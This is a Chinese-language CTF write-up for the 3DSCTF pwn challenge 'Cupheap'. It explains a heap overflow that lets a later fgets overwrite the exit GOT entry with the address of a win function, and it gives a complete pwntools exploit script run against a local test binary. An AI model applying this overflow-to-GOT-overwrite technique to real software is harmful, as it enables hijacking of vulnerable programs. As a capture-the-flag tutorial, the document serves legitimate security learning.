3DSCTF PWN —— Cupheap

先看保护,只开了NX

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序一开始malloc了四次

在内存中的结构如下

我们看到这里有个溢出

因为上面申请了8个byte,这里可以输入0x1000,那么我们可以通过第一个溢出覆盖603070指针为got表。下次再fgets就可以写got表了,因为最后会调用exit,覆盖exit的got就行

其实这题的目标是直接返回到这个函数就行了

要进入漏洞函数,需要contracts为0x1100,当他为这个值我们再利用就行

我这里本地新建了个hell文件做测试,内容是flag{test}

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
from pwn import *

# context.log_level = "debug"

elf = ELF("./cupheap")

visitHell = 0x4008F7

while 1:
p = process("./cupheap")
p.recvuntil("Give up\n")
p.sendline("1")
recv = p.recvuntil("Choose one option")
if "0x1100" in recv:
# not 1,2,3 is ok
p.sendline("6")
p.recvuntil("Visit Mausoleum\n")
p.sendline("4")
p.recvuntil("what is the name their superpowers?\n")
payload = "a" * 40
payload += p64(elf.got["exit"])
p.sendline(payload)
sleep(2)
p.sendline(p64(visitHell))
p.interactive()
else:
p.close()
打赏专区